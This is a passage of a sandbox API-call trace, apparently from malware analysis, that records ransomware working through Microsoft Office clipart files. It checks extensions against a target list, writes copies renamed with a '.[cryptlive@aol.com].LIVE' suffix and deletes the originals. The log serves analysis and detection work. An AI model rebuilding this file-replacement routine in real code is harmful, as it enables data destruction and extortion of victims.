Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.910] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.910] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.910] GetLastError () returned 0x0 [0141.910] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0141.915] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0141.916] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.916] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.916] SetEndOfFile (hFile=0x3a4) returned 1 [0141.916] CloseHandle (hObject=0x3a4) returned 1 [0141.916] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.916] SetEndOfFile (hFile=0x3b4) returned 1 [0141.919] CloseHandle (hObject=0x3b4) returned 1 [0141.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0141.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.920] lstrlenW (lpString=".doc") returned 4 [0141.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.920] lstrlenW (lpString=".docx") returned 5 [0141.920] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.920] lstrlenW (lpString=".pdf") returned 4 [0141.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.920] lstrlenW (lpString=".xls") returned 4 [0141.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.920] lstrlenW (lpString=".xlsx") returned 5 [0141.920] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.920] lstrlenW (lpString=".ppt") returned 4 [0141.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.920] lstrlenW (lpString=".zip") returned 4 [0141.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.920] lstrlenW (lpString=".rar") returned 4 [0141.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString=".bz2") returned 4 [0141.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString=".7z") returned 3 [0141.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.921] lstrlenW (lpString=".dbf") returned 4 [0141.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.921] lstrlenW (lpString=".1cd") returned 4 [0141.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.921] lstrlenW (lpString=".jpg") returned 4 [0141.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.921] lstrlenW (lpString=".doc") returned 4 [0141.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString=".docx") returned 5 [0141.921] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.921] lstrlenW (lpString=".pdf") returned 4 [0141.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString=".xls") returned 4 [0141.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.921] lstrlenW (lpString=".xlsx") returned 5 [0141.921] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.921] lstrlenW (lpString=".ppt") returned 4 [0141.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.921] lstrlenW (lpString=".zip") returned 4 [0141.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.921] lstrlenW (lpString=".rar") returned 4 [0141.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString=".bz2") returned 4 [0141.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.921] lstrlenW (lpString=".7z") returned 3 [0141.922] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.922] lstrlenW (lpString=".dbf") returned 4 [0141.922] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.922] lstrlenW (lpString=".1cd") returned 4 [0141.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0141.922] lstrlenW (lpString=".jpg") returned 4 [0141.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.922] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.922] lstrlenW (lpString="DD01629_.WMF") returned 12 [0141.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.922] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=580) returned 1 [0141.922] CloseHandle (hObject=0x3b4) returned 1 [0141.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0141.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.923] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.923] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.924] GetLastError () returned 0x0 [0141.924] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x244, lpOverlapped=0x0) returned 1 [0141.942] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x250, lpOverlapped=0x0) returned 1 [0141.942] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.942] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.943] SetEndOfFile (hFile=0x3a4) returned 1 [0141.943] CloseHandle (hObject=0x3a4) returned 1 [0141.943] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.943] SetEndOfFile (hFile=0x3b4) returned 1 [0141.945] CloseHandle (hObject=0x3b4) returned 1 [0141.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.946] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0141.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.946] lstrlenW (lpString=".doc") returned 4 [0141.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.946] lstrlenW (lpString=".docx") returned 5 [0141.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.946] lstrlenW (lpString=".pdf") returned 4 [0141.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.946] lstrlenW (lpString=".xls") returned 4 [0141.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.946] lstrlenW (lpString=".xlsx") returned 5 [0141.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.946] lstrlenW (lpString=".ppt") returned 4 [0141.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString=".zip") returned 4 [0141.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.947] lstrlenW (lpString=".rar") returned 4 [0141.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString=".bz2") returned 4 [0141.947] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString=".7z") returned 3 [0141.947] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString=".dbf") returned 4 [0141.947] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString=".1cd") returned 4 [0141.947] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString=".jpg") returned 4 [0141.947] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString=".doc") returned 4 [0141.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString=".docx") returned 5 [0141.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.947] lstrlenW (lpString=".pdf") returned 4 [0141.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString=".xls") returned 4 [0141.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.947] lstrlenW (lpString=".xlsx") returned 5 [0141.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.947] lstrlenW (lpString=".ppt") returned 4 [0141.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.947] lstrlenW (lpString=".zip") returned 4 [0141.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.947] lstrlenW (lpString=".rar") returned 4 [0141.947] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.947] lstrlenW (lpString=".bz2") returned 4 [0141.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.948] lstrlenW (lpString=".7z") returned 3 [0141.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.948] lstrlenW (lpString=".dbf") returned 4 [0141.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.948] lstrlenW (lpString=".1cd") returned 4 [0141.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0141.948] lstrlenW (lpString=".jpg") returned 4 [0141.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.948] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.948] lstrlenW (lpString="DD01631_.WMF") returned 12 [0141.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.948] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=552) returned 1 [0141.948] CloseHandle (hObject=0x3b4) returned 1 [0141.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x20 [0141.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.949] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.949] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.950] GetLastError () returned 0x0 [0141.950] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x228, lpOverlapped=0x0) returned 1 [0141.950] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x230, lpOverlapped=0x0) returned 1 [0141.951] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.951] WriteFile (in: hFile=0x3a4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.952] SetEndOfFile (hFile=0x3a4) returned 1 [0141.952] CloseHandle (hObject=0x3a4) returned 1 [0141.952] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.952] SetEndOfFile (hFile=0x3b4) returned 1 [0141.954] CloseHandle (hObject=0x3b4) returned 1 [0141.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf")) returned 1 [0141.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.955] lstrlenW (lpString=".doc") returned 4 [0141.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.955] lstrlenW (lpString=".docx") returned 5 [0141.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.955] lstrlenW (lpString=".pdf") returned 4 [0141.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.955] lstrlenW (lpString=".xls") returned 4 [0141.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.955] lstrlenW (lpString=".xlsx") returned 5 [0141.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.955] lstrlenW (lpString=".ppt") returned 4 [0141.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.955] lstrlenW (lpString=".zip") returned 4 [0141.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.956] lstrlenW (lpString=".rar") returned 4 [0141.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString=".bz2") returned 4 [0141.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString=".7z") returned 3 [0141.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.956] lstrlenW (lpString=".dbf") returned 4 [0141.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.956] lstrlenW (lpString=".1cd") returned 4 [0141.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.956] lstrlenW (lpString=".jpg") returned 4 [0141.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.956] lstrlenW (lpString=".doc") returned 4 [0141.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString=".docx") returned 5 [0141.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.956] lstrlenW (lpString=".pdf") returned 4 [0141.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString=".xls") returned 4 [0141.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.956] lstrlenW (lpString=".xlsx") returned 5 [0141.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.956] lstrlenW (lpString=".ppt") returned 4 [0141.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.956] lstrlenW (lpString=".zip") returned 4 [0141.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.956] lstrlenW (lpString=".rar") returned 4 [0141.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.956] lstrlenW (lpString=".bz2") returned 4 [0141.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.957] lstrlenW (lpString=".7z") returned 3 [0141.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.957] lstrlenW (lpString=".dbf") returned 4 [0141.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.957] lstrlenW (lpString=".1cd") returned 4 [0141.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 63 [0141.957] lstrlenW (lpString=".jpg") returned 4 [0141.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.957] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.957] lstrlenW (lpString="DD01761_.WMF") returned 12 [0141.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.957] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4148) returned 1 [0141.958] CloseHandle (hObject=0x3b4) returned 1 [0141.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x20 [0141.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.958] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.958] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 